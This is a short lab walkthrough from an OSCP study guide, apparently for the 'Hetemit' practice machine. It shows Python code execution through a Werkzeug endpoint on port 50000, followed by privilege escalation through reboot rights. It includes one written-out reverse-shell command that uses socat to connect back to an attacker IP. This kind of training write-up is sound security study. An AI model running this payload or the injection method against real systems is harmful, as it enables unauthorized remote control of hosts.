> For the complete documentation index, see [llms.txt](https://aditya-3.gitbook.io/oscp/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aditya-3.gitbook.io/oscp/readme/walkthroughs/pg-practice/hetemit/50000.md).

# 50000

![](/files/l0WpK2q7tp9GzfhY8QGU) Werkzeug is running on port 50000

Ferox: ![](/files/ERN4DrKJqAv3GWZMukDF)

Now trying verify: ![](/files/7DVEoDG27Ko9CpRXsiKO) We can pass in a code parameter so intercepting in burpsuite and sending a post request: ![](/files/qMnY9Wuf2tGJ3C9JOCmc) We have code execution and it is python.

To get a reverse shell: ![](/files/Cl9hIlHKCylHWcGxOAJn)

```
os.system('socat TCP:192.168.45.236:80 EXEC:sh')
```

![](/files/owN0Ad4oYQEft70OCbXI) Running linpeas now: ![](/files/14hGYPCG2EY4unypYvsM) ![](/files/9sLAifqRJeZ0ICpTUvA8)

After getting a stable shell using ssh: We can modify it: ![](/files/UClJvzMWJvH0CiTXVoDR)

Now we see that we have reboot privileges: ![](/files/DJAZnMUxZQ7sI6iuJ9OR) So rebooting we should get a shell: ![](/files/FRAr8eU5FG3VhJ3gElij) ![](/files/qEIvkLH9AMppRc1ejKKe)